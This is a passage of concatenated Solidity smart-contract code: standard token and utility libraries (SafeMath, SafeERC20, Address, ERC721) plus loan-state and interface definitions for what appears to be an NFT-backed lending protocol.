* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity ^0.8.0;
library LoanLibrary {
/**
* @dev Enum describing the current state of a loan
* State change flow:
* Created -> Active -> Repaid
* -> Defaulted
*/
enum LoanState {
// We need a default that is not 'Created' - this is the zero value
DUMMY_DO_NOT_USE,
// The loan data is stored, but not initiated yet.
Created,
// The loan has been initialized, funds have been delivered to the borrower and the collateral is held.
Active,
// The loan has been repaid, and the collateral has been returned to the borrower. This is a terminal state.
Repaid,
// The loan was delinquent and collateral claimed by the lender. This is a terminal state.
Defaulted
}
/**
* @dev The raw terms of a loan
*/
struct LoanTerms {
// The number of seconds representing relative due date of the loan
uint256 durationSecs;
// The amount of principal in terms of the payableCurrency
uint256 principal;
// The amount of interest in terms of the payableCurrency
uint256 interest;
// The tokenID of the collateral bundle
uint256 collateralTokenId;
// The payable currency for the loan principal and interest
address payableCurrency;
}
/**
* @dev The data of a loan. This is stored once the loan is Active
*/
struct LoanData {
// The tokenId of the borrower note
uint256 borrowerNoteId;
// The tokenId of the lender note
uint256 lenderNoteId;
// The raw terms of the loan
LoanTerms terms;
// The current state of the loan
LoanState state;
// Timestamp representing absolute due date date of the loan
uint256 dueDate;
}
}
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
interface IPromissoryNote is IERC721 {
// Getter for mapping: mapping(uint256 => uint256) public loanIdByNoteId;
function loanIdByNoteId(uint256 noteId) external view returns (uint256);
function mint(address to, uint256 loanId) external returns (uint256);
function burn(uint256 tokenId) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../libraries/LoanLibrary.sol";
/**
* @dev Interface for the LoanCore contract
*/
interface ILoanCore {
/**
* @dev Emitted on initialization to share location of dependent notes
*/
event Initialized(address collateralToken, address borrowerNote, address lenderNote);
/**
* @dev Emitted when a loan is initially created
*/
event LoanCreated(LoanLibrary.LoanTerms terms, uint256 loanId);
/**
* @dev Emitted when a loan is started and principal is distributed to the borrower.
*/
event LoanStarted(uint256 loanId, address lender, address borrower);
/**
* @dev Emitted when a loan is repaid by the borrower
*/
event LoanRepaid(uint256 loanId);
/**
* @dev Emitted when a loan collateral is claimed by the lender
*/
event LoanClaimed(uint256 loanId);
/**
* @dev Emitted when fees are claimed by admin
*/
event FeesClaimed(address token, address to, uint256 amount);
/**
* @dev Get LoanData by loanId
*/
function getLoan(uint256 loanId) external view returns (LoanLibrary.LoanData calldata loanData);
/**
* @dev Create store a loan object with some given terms
*/
function createLoan(LoanLibrary.LoanTerms calldata terms) external returns (uint256 loanId);
/**
* @dev Start a loan with the given borrower and lender
* Distributes the principal less the protocol fee to the borrower
*
* Requirements:
* - This function can only be called by a whitelisted OriginationController
* - The proper principal and collateral must have been sent to this contract before calling.
*/
function startLoan(
address lender,
address borrower,
uint256 loanId
) external;
/**
* @dev Repay the given loan
*
* Requirements:
* - The caller must be a holder of the borrowerNote
* - The caller must send in principal + interest
* - The loan must be in state Active
*/
function repay(uint256 loanId) external;
/**
* @dev Claim the collateral of the given delinquent loan
*
* Requirements:
* - The caller must be a holder of the lenderNote
* - The loan must be in state Active
* - The current time must be beyond the dueDate
*/
function claim(uint256 loanId) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IRepaymentController {
/**
* @dev used to repay a currently active loan.
*
* The loan must be in the Active state, and the
* payableCurrency must be approved for withdrawal by the
* repayment controller. This call will withdraw tokens
* from the caller's wallet.
*
*/
function repay(uint256 borrowerNoteId) external;
/**
* @dev used to repay a currently active loan that is past due.
*
* The loan must be in the Active state, and the caller must
* be the holder of the lender note.
*/
function claim(uint256 lenderNoteId) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: '';
}
/**
* @dev Base URI for computing {tokenURI}. Empty by default, can be overriden
* in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
